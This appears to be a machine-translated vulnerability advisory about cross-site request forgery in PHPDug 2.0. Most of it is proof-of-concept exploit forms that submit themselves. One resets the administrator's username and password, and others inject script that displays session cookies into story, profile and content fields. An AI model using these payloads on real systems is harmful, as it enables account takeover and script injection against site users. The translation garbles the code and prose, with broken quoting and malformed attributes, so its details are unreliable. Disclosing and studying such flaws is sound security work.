PHPDug 2.0 multiple CSRF vulnerabilities and repair

Multiple CSRF vulnerabilities in PHPDug 2.0. Laruence doesn't know much about CSRF. Khan!

Vulnerability details:

The vulnerability exists in that the "adm/admin_edit.php" script does not properly verify the source of the HTTP request.

Successful exploitation of this vulnerability allows you to bypass application restrictions on cookie-based authentication certificates and leak or steal sensitive data modifications.

Attackers can exploit this vulnerability in a browser.

Test:

<Form action = "http://www.bkjia.com/adm/admin_edit.php" method = "post" name = "main">
<Input type = "hidden" name = "id [1]" value = "USERID">
<Input type = "hidden" name = "username [USERID]" value = "Admin">
<Input type = "hidden" name = "password [USERID]" value = "test123">
<Input type = "hidden" name = "Submit" value = "Submit">
</Form>
<Script>
Document. main. submit ();
</Script>

The method is as follows:

 
1.
<Form action = "http://www.bkjia.com/add_story.php" method = "post" name = "main">
<Input type = "hidden" name = "story_url" value = http://www.bkjia.com/"> <script> alert (document. cookie) </script>
>
<Input type = "hidden" name = "Submit" value = "Continue">
</Form>
<Script>
Document. main. submit ();
</Script>
2.
<Form action = "http://www.bkjia.com/editprofile.php" method = "post" name = "main">
<Input type = "hidden" name = "email" value = email (at) example (dot) com [email concealed] "> <script> alert (document. cookie) </script>
<Input type = "hidden" name = "commentst" value = "-4">
<Input type = "hidden" name = "Submit" value = "Save Changes">
</Form>
<Script>
Document. main. submit ();
</Script>
3.
<Form action = "http://www.bkjia.com/adm/content_add.php" method = "post" name = "main">
<Input type = "hidden" name = "id" value = "999">
<Input type = "hidden" name = "title" value = page "> <script> alert (document. cookie) </script>
<Input type = "hidden" name = "contentvalue =" content ">
<Input type = "hidden" name = "Submit" value = "Submit">
</Form>
<Script>
Document. main. submit ();
</Script>
4.
<Form action = "http://www.bkjia.com/adm/admin_edit.php" method = "post" name = "main">
<Input type = "hidden" name = "id [1]" value = "1">
<Input type = "hidden" name = "username [1]" value = admin <script> alert ("XSS") </script>
<Input type = "hidden" name = "password [1]" value = "">
<Input type = "hidden" name = "Submit" value = "Submit">
</Form>
<Script>
Document. main. submit ();
</Script>

Semi-pitfall farmer S Blog